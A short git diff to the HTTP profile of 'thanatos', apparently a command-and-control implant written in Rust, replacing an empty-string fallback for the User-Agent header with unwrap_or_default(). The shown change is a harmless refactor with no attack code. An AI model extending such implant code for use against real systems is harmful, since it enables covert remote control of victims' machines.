diff --git a/Payload_Type/thanatos/thanatos/agent_code/src/profiles/http.rs b/Payload_Type/thanatos/thanatos/agent_code/src/profiles/http.rs index 1fb2d21..0a0bca2 100644 --- a/Payload_Type/thanatos/thanatos/agent_code/src/profiles/http.rs +++ b/Payload_Type/thanatos/thanatos/agent_code/src/profiles/http.rs @@ -109,7 +109,7 @@ pub mod profilevars { headers .get("User-Agent") .map(|agent| agent.to_owned()) - .unwrap_or_else(|| "".to_string()) + .unwrap_or_default() } // Helper function to get the other headers